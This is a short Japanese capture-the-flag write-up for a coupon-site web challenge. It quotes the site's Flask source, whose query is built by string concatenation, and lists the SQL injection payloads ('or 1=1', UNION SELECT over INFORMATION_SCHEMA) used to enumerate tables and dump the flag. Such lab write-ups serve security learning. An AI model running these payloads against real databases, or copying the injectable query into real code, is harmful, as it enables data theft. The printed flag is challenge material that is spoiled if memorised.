クーポンサイトが与えられる。
情報が少ないが、<!-- TODO remove it /?source=1 -->
とソースコードにある。
from flask import Flask, render_template, request from dotenv import load_dotenv import mysql.connector import os load_dotenv() def get_coupons(form): coupons = list() mydb = mysql.connector.connect( host=os.getenv('mysql_host'), user=os.getenv('mysql_user'), password=os.getenv('mysql_pwd'), database=os.getenv('mysql_db') ) mycursor = mydb.cursor() try: mycursor.execute("SELECT * FROM coupons WHERE code = '" + str(form['cid']) + "'") except: pass myresult = mycursor.fetchall() for x in myresult: coupons.append({ 'code': x[1], 'value': x[2] }) mycursor.close() return coupons app = Flask(__name__) @app.route('/', methods=['POST', 'GET']) def index(source=None): if request.method == "POST": coupons = get_coupons(request.form) if coupons == []: return render_template('list.html', error="Sorry, you didn't win") else: return render_template('list.html', coupons=coupons) else: if request.args.get('source') == '1': with open(__file__, 'r') as r: return r.read().strip() else: return render_template('base.html') if __name__ == "__main__": app.run(host="0.0.0.0", port=7331)
' or 1 = 1 #
を試すと普通にSQLiができる。
' UNION SELECT 1,TABLE_NAME,3 from INFORMATION_SCHEMA.COLUMNS #
c2VjcmV0LWRiという怪しいテーブルが見つかる。
' UNION SELECT 1,COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'c2VjcmV0LWRi' #
ZGVmaW5pdGVseS1ub3QtZmxhZwというカラムが見つかる。
' UNION SELECT 1,ZGVmaW5pdGVseS1ub3QtZmxhZw,3 FROM c2VjcmV0LWRi #
ok.出ました
BtS-CTF{7h475_h0w_y0u_ch347_1n_94m35}